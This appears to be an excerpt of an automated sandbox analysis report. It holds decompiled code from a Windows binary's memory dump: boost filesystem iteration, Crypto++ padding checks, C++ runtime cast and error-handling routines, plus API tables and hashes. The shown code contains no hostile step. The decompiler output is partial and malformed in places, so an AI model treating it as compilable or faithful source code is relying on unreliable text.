								_t244 = _t244 + 8;
								_v8 = 0;
								_t230 = _t132;
								_v776 = _t230;
								E00054B10(_t185,  &_v68, _t223, _t230);
								_v780 = _t230;
							} else {
								_t223 = 0;
							}
							_t134 = 0;
							__eflags = 0;
							_v772 = _t223;
						} else {
							_t187 = GetLastError();
							_t181 =  *(_t230 + 0x28);
							if(_t181 != 0) {
								FindClose(_t181);
								 *(_t230 + 0x28) = 0;
							}
							_t188 =  ==  ? 0 : _t187;
							_t251 =  ==  ? 0 : _t187;
							_t185 = _v784;
							_t134 = 0 | ( ==  ? 0 : _t187) != 0x00000000;
						}
						if(_t134 != 0) {
							_t223 = _v768;
							E000ACB80(_t185,  *_t223, _t223, _t230, __eflags,  &_v92);
							 *_t223 = 0;
							_t231 =  *(_t223 + 4);
							 *(_t223 + 4) = 0;
							_v8 = 3;
							__eflags = _t231;
							if(_t231 != 0) {
								_t223 = _t223 | 0xffffffff;
								asm("lock xadd [ecx], eax");
								__eflags = _t223 - 1;
								if(_t223 == 1) {
									 *((intOrPtr*)( *_t231 + 4))();
									asm("lock xadd [eax], edi");
									__eflags = _t223 - 1;
									if(_t223 == 1) {
										 *((intOrPtr*)( *_t231 + 8))();
									}
								}
							}
							_v8 = 2;
							__eflags = _t185;
							if(_t185 == 0) {
								E00064B00( &_v116, "boost::filesystem::directory_iterator::operator++");
								_v8 = 4;
								_t138 = E00053900();
								_t140 = E00053920( &_v56, GetLastError(), _t138);
								asm("movq xmm0, [eax]");
								asm("movq [ecx], xmm0");
								 *((intOrPtr*)(_t244 - 0xc + 8)) =  *((intOrPtr*)(_t140 + 8));
								_push( &_v92);
								_push( &_v116);
								E000A92E0( &_v172, __eflags);
								E001047B7( &_v172, 0x16d264);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t147 = _v804;
								_t220 = _v800;
								_t201 = _v796;
								_push(_t231);
								_t232 =  *_t147 & 0x0000ffff;
								__eflags = _t232 -  *_t220;
								if(_t232 ==  *_t220) {
									L37:
									_t233 = _t147[1] & 0x0000ffff;
									__eflags = _t233 -  *((intOrPtr*)(_t220 + 2));
									if(_t233 ==  *((intOrPtr*)(_t220 + 2))) {
										L39:
										_t234 = _t147[2] & 0x0000ffff;
										__eflags = _t234 -  *((intOrPtr*)(_t220 + 4));
										if(_t234 ==  *((intOrPtr*)(_t220 + 4))) {
											L41:
											_t235 = _t147[3] & 0x0000ffff;
											__eflags = _t235 -  *((intOrPtr*)(_t220 + 6));
											if(_t235 ==  *((intOrPtr*)(_t220 + 6))) {
												L43:
												__eflags = _t147[4];
												if(_t147[4] != 0) {
													goto L45;
												} else {
													return 1;
												}
											} else {
												__eflags = _t235 -  *((intOrPtr*)(_t201 + 6));
												if(_t235 !=  *((intOrPtr*)(_t201 + 6))) {
													goto L45;
												} else {
													goto L43;
												}
											}
										} else {
											__eflags = _t234 -  *((intOrPtr*)(_t201 + 4));
											if(_t234 !=  *((intOrPtr*)(_t201 + 4))) {
												goto L45;
											} else {
												goto L41;
											}
										}
									} else {
										__eflags = _t233 -  *((intOrPtr*)(_t201 + 2));
										if(_t233 !=  *((intOrPtr*)(_t201 + 2))) {
											goto L45;
										} else {
											goto L39;
										}
									}
								} else {
									__eflags = _t232 -  *_t201;
									if(_t232 !=  *_t201) {
										L45:
										__eflags = 0;
										return 0;
									} else {
										goto L37;
									}
								}
							} else {
								_t150 = GetLastError();
								__eflags = _t150;
								 *_t185 = _t150;
								 *((intOrPtr*)(_t185 + 8)) = 0x1522a0;
								_t202 =  &_v92;
								_t87 = _t150 != 0;
								__eflags = _t87;
								 *(_t185 + 4) = _t150 & 0xffffff00 | _t87;
								L32:
								E00054B10(_t185, _t202, _t223, _t231);
								goto L33;
							}
						} else {
							if(_t185 != 0) {
								 *_t185 = 0;
								 *(_t185 + 4) = _t134;
								 *((intOrPtr*)(_t185 + 8)) = 0x1522a0;
							}
							_t161 = _v768;
							_t230 =  *_t161;
							if( *(_t230 + 0x28) == 0) {
								 *_t161 = 0;
								_t231 = _t161[1];
								_t161[1] = 0;
								_v8 = 5;
								__eflags = _t231;
								if(_t231 != 0) {
									_t223 = _t223 | 0xffffffff;
									asm("lock xadd [ecx], eax");
									__eflags = _t223 - 1;
									if(_t223 == 1) {
										 *((intOrPtr*)( *_t231 + 4))();
										asm("lock xadd [eax], edi");
										__eflags = _t223 - 1;
										if(_t223 == 1) {
											 *((intOrPtr*)( *_t231 + 8))();
										}
									}
								}
								L33:
								E00054B10(_t185,  &_v44, _t223, _t231);
								 *[fs:0x0] = _v16;
								return E000ECED8(_v20 ^ _t241);
							} else {
								_t221 = _v24;
								_t169 =  >=  ? _v44 :  &_v44;
								_t256 =  *((short*)( >=  ? _v44 :  &_v44)) - 0x2e;
								if( *((short*)( >=  ? _v44 :  &_v44)) != 0x2e) {
									goto L21;
								} else {
									goto L18;
								}
							}
						}
						L46:
						L18:
						_t217 = _v28;
					} while (_t217 == 1);
					_t179 =  >=  ? _v44 :  &_v44;
					if( *((short*)(( >=  ? _v44 :  &_v44) + 2)) != 0x2e) {
						break;
					} else {
						goto L20;
					}
					goto L46;
					L20:
					_t260 = _t217 - 2;
				} while (_t217 == 2);
				L21:
				E00064650( &_v68, _t221,  &_v44);
				_v8 = 6;
				_t231 =  *_v768;
				E000ACDA0(_t231, _t223, _t231, _t260);
				E000AB7B0(_t185, _t231, _t221, _t223, _t231,  &_v68);
				_t202 =  &_v68;
				 *(_t231 + 0x18) = _v772;
				 *(_t231 + 0x1c) = _v776;
				 *(_t231 + 0x20) = _t223;
				 *(_t231 + 0x24) = _v780;
				goto L32;
			}

0x000a9dc1
0x000a9dc3
0x000a9dc5
0x000a9dd0
0x000a9dd1
0x000a9dd7
0x000a9ddc
0x000a9dde
0x000a9de1
0x000a9de3
0x000a9de4
0x000a9de8
0x000a9dee
0x000a9df3
0x000a9df6
0x000a9dfc
0x000a9e02
0x000a9e09
0x000a9e10
0x000a9e14
0x000a9e16
0x000a9e18
0x000a9e1b
0x000a9e26
0x000a9e2c
0x000a9e2c
0x000a9e32
0x000a9e32
0x000a9e32
0x000a9e44
0x000a9e7b
0x000a9e81
0x000a9e84
0x000a9e84
0x000a9e87
0x000a9e8a
0x000a9e8a
0x000a9e96
0x000a9e9e
0x000a9ea3
0x000a9ea9
0x000a9eaf
0x000a9eb8
0x000a9ec2
0x000a9ec9
0x000a9ecc
0x000a9ed2
0x000a9ed4
0x000a9ed7
0x000a9ee0
0x000a9ee0
0x000a9ee3
0x000a9ee6
0x000a9ee6
0x000a9eeb
0x000a9eeb
0x000a9ef5
0x000a9efa
0x000a9f08
0x000a9f0d
0x000a9f12
0x000a9f15
0x000a9f19
0x000a9f1e
0x000a9f24
0x000a9f29
0x000a9eb1
0x000a9eb1
0x000a9eb1
0x000a9f2f
0x000a9f2f
0x000a9f31
0x000a9e46
0x000a9e4c
0x000a9e4e
0x000a9e53
0x000a9e56
0x000a9e5c
0x000a9e5c
0x000a9e68
0x000a9e6b
0x000a9e6d
0x000a9e73
0x000a9e73
0x000a9f39
0x000aa03f
0x000aa04b
0x000aa050
0x000aa056
0x000aa059
0x000aa060
0x000aa064
0x000aa066
0x000aa068
0x000aa070
0x000aa074
0x000aa077
0x000aa07d
0x000aa083
0x000aa087
0x000aa08a
0x000aa090
0x000aa090
0x000aa08a
0x000aa077
0x000aa093
0x000aa097
0x000aa099
0x000aa0e6
0x000aa0eb
0x000aa0ef
0x000aa0ff
0x000aa109
0x000aa110
0x000aa114
0x000aa11a
0x000aa11e
0x000aa125
0x000aa136
0x000aa13b
0x000aa13c
0x000aa13d
0x000aa13e
0x000aa13f
0x000aa140
0x000aa144
0x000aa148
0x000aa14c
0x000aa14d
0x000aa150
0x000aa153
0x000aa15a
0x000aa15a
0x000aa15e
0x000aa162
0x000aa16a
0x000aa16a
0x000aa16e
0x000aa172
0x000aa17a
0x000aa17a
0x000aa17e
0x000aa182
0x000aa18a
0x000aa18a
0x000aa18f
0x00000000
0x000aa191
0x000aa194
0x000aa194
0x000aa184
0x000aa184
0x000aa188
0x00000000
0x00000000
0x00000000
0x00000000
0x000aa188
0x000aa174
0x000aa174
0x000aa178
0x00000000
0x00000000
0x00000000
0x00000000
0x000aa178
0x000aa164
0x000aa164
0x000aa168
0x00000000
0x00000000
0x00000000
0x00000000
0x000aa168
0x000aa155
0x000aa155
0x000aa158
0x000aa195
0x000aa195
0x000aa198
0x00000000
0x00000000
0x00000000
0x000aa158
0x000aa09b
0x000aa09b
0x000aa0a1
0x000aa0a3
0x000aa0a5
0x000aa0ac
0x000aa0af
0x000aa0af
0x000aa0b2
0x000aa0b5
0x000aa0b5
0x00000000
0x000aa0b5
0x000a9f3f
0x000a9f41
0x000a9f43
0x000a9f49
0x000a9f4c
0x000a9f4c
0x000a9f53
0x000a9f59
0x000a9f5f
0x000a9fee
0x000a9ff4
0x000a9ff7
0x000a9ffe
0x000aa002
0x000aa004
0x000aa00a
0x000aa012
0x000aa016
0x000aa019
0x000aa023
0x000aa029
0x000aa02d
0x000aa030
0x000aa03a
0x000aa03a
0x000aa030
0x000aa019
0x000aa0ba
0x000aa0bd
0x000aa0c5
0x000aa0dd
0x000a9f65
0x000a9f65
0x000a9f6e
0x000a9f72
0x000a9f76
0x00000000
0x00000000
0x00000000
0x00000000
0x000a9f76
0x000a9f5f
0x00000000
0x000a9f78
0x000a9f78
0x000a9f7b
0x000a9f8a
0x000a9f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000a9f95
0x000a9f95
0x000a9f95
0x000a9f9e
0x000a9fa5
0x000a9fb0
0x000a9fb4
0x000a9fb8
0x000a9fc3
0x000a9fce
0x000a9fd1
0x000a9fda
0x000a9fe3
0x000a9fe6
0x00000000

APIs

FindNextFileW.KERNEL32(00000000,?,D529E887,?,?,?), ref: 000A9E3C
GetLastError.KERNEL32 ref: 000A9E46
FindClose.KERNEL32(00000000), ref: 000A9E56
GetLastError.KERNEL32(?,?,?), ref: 000AA09B

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

GetLastError.KERNEL32(00000000,boost::filesystem::directory_iterator::operator++,?,?,?), ref: 000AA0F5
__CxxThrowException@8.LIBVCRUNTIME ref: 000AA136

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

boost::filesystem::directory_iterator::operator++, xrefs: 000AA0DE

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$Find$CloseExceptionException@8FeatureFileNextPresentProcessorRaiseThrow___raise_securityfailure
String ID: boost::filesystem::directory_iterator::operator++
API String ID: 819683298-1439492258
Opcode ID: a7a99b2d238efec6f89d9afe87556dce71519bea5e89a89006433ab22958e59a
Instruction ID: 9c4e90ac72442dfdba36c9bb9a61701488868002fa850a6ba7ed2c6ac9f890d5
Opcode Fuzzy Hash: a7a99b2d238efec6f89d9afe87556dce71519bea5e89a89006433ab22958e59a
Instruction Fuzzy Hash: 85B18F71A01219CFDB21CFA4C994BDEBBF4EF09310F1581A9D40AA7252DB74AE45CF91

Uniqueness

Uniqueness Score: 100.00%

Function 000B1CF0, Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 247
UNIQUE

Download Yara Rule

C-Code - Quality: 42%

			E000B1CF0(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				char _v0;
				intOrPtr _v4;
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v48;
				char _v60;
				char _v84;
				char _v88;
				char _v108;
				char _v148;
				char _v172;
				char _v196;
				void _v200;
				intOrPtr* _v204;
				intOrPtr* _v208;
				char _v232;
				char _v256;
				signed int _v260;
				signed int _t67;
				signed int _t68;
				signed char _t75;
				void* _t78;
				intOrPtr _t79;
				intOrPtr _t81;
				void* _t88;
				void* _t90;
				char* _t92;
				signed int _t95;
				signed int _t96;
				void* _t113;
				void* _t115;
				void* _t118;
				intOrPtr* _t123;
				intOrPtr _t124;
				intOrPtr* _t139;
				char* _t141;
				intOrPtr* _t142;
				void* _t154;
				intOrPtr _t158;
				intOrPtr* _t159;
				intOrPtr* _t161;
				signed int _t164;
				signed int _t165;
				void* _t167;
				void* _t168;
				signed int _t169;

				_t168 = _t167 - 0xc0;
				_t67 =  *0x16f170; // 0xd529e887
				_t68 = _t67 ^ _t164;
				_v20 = _t68;
				 *[fs:0x0] =  &_v16;
				_t154 = __ecx;
				_t123 = _a8;
				_v204 = _a12;
				_v208 = _a16;
				 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 4))))("BlockPaddingScheme", 0x1715c8,  &_v200, _t68, __edi, __esi, __ebx,  *[fs:0x0], 0x134ce6, 0xffffffff);
				_t158 =  !=  ? _v200 : 5;
				if( *((intOrPtr*)(__ecx + 0x68)) <= 1 ||  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x60)))) + 0x28))() != 0) {
					_t75 = 0;
				} else {
					_t75 = 1;
				}
				if(_t158 == 5) {
					_t158 = (_t75 & 0x000000ff) + (_t75 & 0x000000ff);
				}
				 *((intOrPtr*)(_t154 + 0x64)) = _t158;
				if(_t75 != 0) {
					L12:
					 *_t123 = 0;
					 *_v204 =  *((intOrPtr*)(_t154 + 0x68));
					_t159 =  *((intOrPtr*)(_t154 + 0x60));
					_t124 =  *((intOrPtr*)(_t154 + 0x64));
					_t78 =  *((intOrPtr*)( *_t159 + 0x28))();
					_t79 =  *_t159;
					if(_t78 == 0) {
						if( *((intOrPtr*)(_t79 + 0x10))() <= 1 ||  *((intOrPtr*)( *((intOrPtr*)( *_t159 + 0x3c))))() != 0 || _t124 == 0 || _t124 == 1) {
							_t81 = 0;
						} else {
							_t81 =  *((intOrPtr*)( *_t159 + 0x10))();
						}
					} else {
						_t81 =  *((intOrPtr*)(_t79 + 0x28))();
					}
					 *_v208 = _t81;
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t164);
				} else {
					if(_t158 == 2) {
						_t152 =  &_v84;
						_t88 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t154 + 0x60)))) + 8))( &_v84);
						_v8 = 0;
						_t90 = E0006CC90( &_v108, "StreamTransformationFilter: PKCS_PADDING cannot be used with ", _t88);
						_t169 = _t168 + 0xc;
						_v8 = 1;
						goto L22;
					} else {
						if(_t158 != 4) {
							if(_t158 != 3) {
								goto L12;
							} else {
								_t152 =  &_v172;
								_t113 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t154 + 0x60)))) + 8))( &_v172);
								_v8 = 4;
								_t115 = E0006CC90( &_v196, "StreamTransformationFilter: ONE_AND_ZEROS_PADDING cannot be used with ", _t113);
								_t169 = _t168 + 0xc;
								_t139 =  &_v148;
								_v8 = 5;
								E00059080(_t115);
								_push(0x16c9bc);
								_t92 =  &_v148;
								goto L23;
							}
						} else {
							_t152 =  &_v108;
							_t118 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t154 + 0x60)))) + 8))( &_v108);
							_v8 = 2;
							_t90 = E0006CC90( &_v84, "StreamTransformationFilter: W3C_PADDING cannot be used with ", _t118);
							_t169 = _t168 + 0xc;
							_v8 = 3;
							L22:
							_t139 =  &_v60;
							E00059080(_t90);
							_push(0x16c9bc);
							_t92 =  &_v60;
							L23:
							_push(_t92);
							E001047B7();
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t164);
							_t165 = _t169;
							_push(0xffffffff);
							_push(0x134d18);
							_push( *[fs:0x0]);
							_t95 =  *0x16f170; // 0xd529e887
							_t96 = _t95 ^ _t165;
							_v260 = _t96;
							_push(_t158);
							_push(_t96);
							 *[fs:0x0] =  &_v256;
							_t161 = _t139;
							if(_v232 == 0) {
								E00064B00( &_v48, "FilterWithBufferedInput");
								_v12 = 0;
								_t141 =  &_v88;
								E000B0C10(_t123, _t141, _t152, _t154,  &_v48);
								E001047B7( &_v88, 0x167df4);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t165);
								_t142 =  *((intOrPtr*)(_t141 + 0x48));
								if(_t142 == 0) {
									return 0;
								} else {
									return  *((intOrPtr*)( *((intOrPtr*)( *_t142 + 0x30))))(_v4, 0xffffffff, _v0);
								}
							} else {
								if(_v0 != 0) {
									E000B1970(_t139);
								}
								 *((intOrPtr*)( *_t161 + 0xec))();
								 *[fs:0x0] = _v20;
								return E000ECED8(_v24 ^ _t165);
							}
						}
					}
				}
			}

0x000b1d01
0x000b1d07
0x000b1d0c
0x000b1d0e
0x000b1d18
0x000b1d1e
0x000b1d2c
0x000b1d2f
0x000b1d38
0x000b1d4e
0x000b1d57
0x000b1d62
0x000b1d74
0x000b1d70
0x000b1d70
0x000b1d70
0x000b1d79
0x000b1d7e
0x000b1d7e
0x000b1d80
0x000b1d85
0x000b1e17
0x000b1e1d
0x000b1e26
0x000b1e28
0x000b1e2d
0x000b1e32
0x000b1e39
0x000b1e3b
0x000b1e48
0x000b1e69
0x000b1e60
0x000b1e64
0x000b1e64
0x000b1e3d
0x000b1e3d
0x000b1e3d
0x000b1e71
0x000b1e76
0x000b1e8e
0x000b1d8b
0x000b1d8e
0x000b1e94
0x000b1e9a
0x000b1ea1
0x000b1eae
0x000b1eb3
0x000b1eb6
0x00000000
0x000b1d94
0x000b1d97
0x000b1dca
0x00000000
0x000b1dcc
0x000b1dcf
0x000b1dd8
0x000b1de2
0x000b1def
0x000b1df4
0x000b1df8
0x000b1dfe
0x000b1e02
0x000b1e07
0x000b1e0c
0x00000000
0x000b1e0c
0x000b1d99
0x000b1d9c
0x000b1da2
0x000b1da9
0x000b1db6
0x000b1dbb
0x000b1dbe
0x000b1eba
0x000b1ebb
0x000b1ebe
0x000b1ec3
0x000b1ec8
0x000b1ecb
0x000b1ecb
0x000b1ecc
0x000b1ed1
0x000b1ed2
0x000b1ed3
0x000b1ed4
0x000b1ed5
0x000b1ed6
0x000b1ed7
0x000b1ed8
0x000b1ed9
0x000b1eda
0x000b1edb
0x000b1edc
0x000b1edd
0x000b1ede
0x000b1edf
0x000b1ee0
0x000b1ee1
0x000b1ee3
0x000b1ee5
0x000b1ef0
0x000b1ef4
0x000b1ef9
0x000b1efb
0x000b1efe
0x000b1eff
0x000b1f03
0x000b1f09
0x000b1f0f
0x000b1f4c
0x000b1f54
0x000b1f5c
0x000b1f5f
0x000b1f6d
0x000b1f72
0x000b1f73
0x000b1f74
0x000b1f75
0x000b1f76
0x000b1f77
0x000b1f78
0x000b1f79
0x000b1f7a
0x000b1f7b
0x000b1f7c
0x000b1f7d
0x000b1f7e
0x000b1f7f
0x000b1f80
0x000b1f83
0x000b1f88
0x000b1fa0
0x000b1f8a
0x000b1f9a
0x000b1f9a
0x000b1f11
0x000b1f15
0x000b1f17
0x000b1f17
0x000b1f20
0x000b1f2b
0x000b1f41
0x000b1f41
0x000b1f0f
0x000b1d97
0x000b1d8e

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B1ECC

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000B1F6D

Strings

FilterWithBufferedInput, xrefs: 000B1F44
StreamTransformationFilter: PKCS_PADDING cannot be used with , xrefs: 000B1EA8
StreamTransformationFilter: ONE_AND_ZEROS_PADDING cannot be used with , xrefs: 000B1DE9
BlockPaddingScheme, xrefs: 000B1D46
StreamTransformationFilter: W3C_PADDING cannot be used with , xrefs: 000B1DB0

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: BlockPaddingScheme$FilterWithBufferedInput$StreamTransformationFilter: ONE_AND_ZEROS_PADDING cannot be used with $StreamTransformationFilter: PKCS_PADDING cannot be used with $StreamTransformationFilter: W3C_PADDING cannot be used with
API String ID: 654547538-2286867357
Opcode ID: 1b58bf95061724593aa319d48dc40290b7bf31a292995589067c0b65d2877d84
Instruction ID: eed85e99e49e19cd8bacdd0e3059395546737845417a2ca5c24ff5cea9a9b477
Opcode Fuzzy Hash: 1b58bf95061724593aa319d48dc40290b7bf31a292995589067c0b65d2877d84
Instruction Fuzzy Hash: C3817B71A00218AFDB14DFA8C894FEEB7F8FF49710F5041A9E819A7291DB71AD44CB90

Uniqueness

Uniqueness Score: 100.00%

Function 0010594C, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75UNIQUE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 0010599F
FindMITargetTypeInstance.LIBVCRUNTIME ref: 001059B8

Part of subcall function 00105570: TypeidsEqual.LIBVCRUNTIME ref: 001055B5
Part of subcall function 00105570: TypeidsEqual.LIBVCRUNTIME ref: 001055D7
Part of subcall function 00105570: PMDtoOffset.LIBCMT ref: 001055E9

FindVITargetTypeInstance.LIBVCRUNTIME ref: 001059BF

Part of subcall function 00105746: TypeidsEqual.LIBVCRUNTIME ref: 00105798
Part of subcall function 00105746: TypeidsEqual.LIBVCRUNTIME ref: 001057BD
Part of subcall function 00105746: PMDtoOffset.LIBCMT ref: 001057D3
Part of subcall function 00105746: PMDtoOffset.LIBCMT ref: 00105854

PMDtoOffset.LIBCMT ref: 001059DE
std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00105A29
__CxxThrowException@8.LIBVCRUNTIME ref: 00105A39

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

Bad dynamic_cast!, xrefs: 00105A20

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: EqualOffsetTypeids$FindInstanceTargetType$ExceptionException@8RaiseThrowstd::__non_rtti_object::__construct_from_string_literal
String ID: Bad dynamic_cast!
API String ID: 2329943541-2956939130
Opcode ID: eeefa23c1f2769b8b7a3d70d80ddea05a376af22629742129ef0fd26e9110d09
Instruction ID: fb9a14216725ac7ff99eaed90d8c30a2af1dfd9b52179064ca7a00b47a92de11
Opcode Fuzzy Hash: eeefa23c1f2769b8b7a3d70d80ddea05a376af22629742129ef0fd26e9110d09
Instruction Fuzzy Hash: 6721F672A04A05DFDF08DF64CD46AAB77B6FB55724B108259E951931C1D770E9009FA0

Uniqueness

Uniqueness Score: 100.00%

Function 0011E008, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50
UNIQUE

Download Yara Rule

C-Code - Quality: 75%

			E0011E008(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x16f3e0; // 0x4
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E0011C726(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E0011F2A9(_t25, _t36, __eflags,  *0x16f3e0, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E0011DE7A(_t25, _t31, 0x17a0c0);
							E0011D5C7(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E0011D5C7();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E001122F6(_t20, _t25, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x16f3e0; // 0x4
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E0011C726(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E0011F2A9(_t27, _t37, __eflags,  *0x16f3e0, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E0011DE7A(_t27, _t32, 0x17a0c0);
									E0011D5C7(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E0011D5C7();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E0011F253(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E0011F253(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x0011e008
0x0011e008
0x0011e008
0x0011e012
0x0011e014
0x0011e019
0x0011e01c
0x0011e02a
0x0011e031
0x0011e036
0x0011e039
0x0011e03c
0x0011e04e
0x0011e053
0x0011e055
0x0011e060
0x0011e067
0x0011e06c
0x0011e06f
0x0011e071
0x00000000
0x00000000
0x00000000
0x00000000
0x0011e057
0x0011e057
0x00000000
0x0011e057
0x0011e03e
0x0011e03e
0x0011e03f
0x0011e03f
0x0011e044
0x0011e07f
0x0011e080
0x0011e086
0x0011e08b
0x0011e08e
0x0011e08f
0x0011e090
0x0011e097
0x0011e099
0x0011e09b
0x0011e0a0
0x0011e0a3
0x0011e0b1
0x0011e0bd
0x0011e0c0
0x0011e0c3
0x0011e0d5
0x0011e0da
0x0011e0dc
0x0011e0e7
0x0011e0ed
0x0011e0f5
0x0011e0f7
0x00000000
0x00000000
0x00000000
0x00000000
0x0011e0de
0x0011e0de
0x00000000
0x0011e0de
0x0011e0c5
0x0011e0c5
0x0011e0c6
0x0011e0c6
0x0011e0f9
0x0011e0fa
0x0011e0fa
0x0011e0a5
0x0011e0ab
0x0011e0af
0x0011e102
0x0011e103
0x0011e109
0x00000000
0x00000000
0x00000000
0x0011e0af
0x0011e110
0x0011e110
0x0011e01e
0x0011e024
0x0011e028
0x0011e073
0x0011e074
0x0011e07e
0x00000000
0x00000000
0x00000000
0x0011e028

APIs

GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

_free.LIBCMT ref: 0011E03F

Part of subcall function 0011F2A9: TlsSetValue.KERNEL32(?,?,00000004,?,?,?,?,?,00051054,?,00051054), ref: 0011F2EB

_free.LIBCMT ref: 0011E067

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
_abort.LIBCMT ref: 0011E086

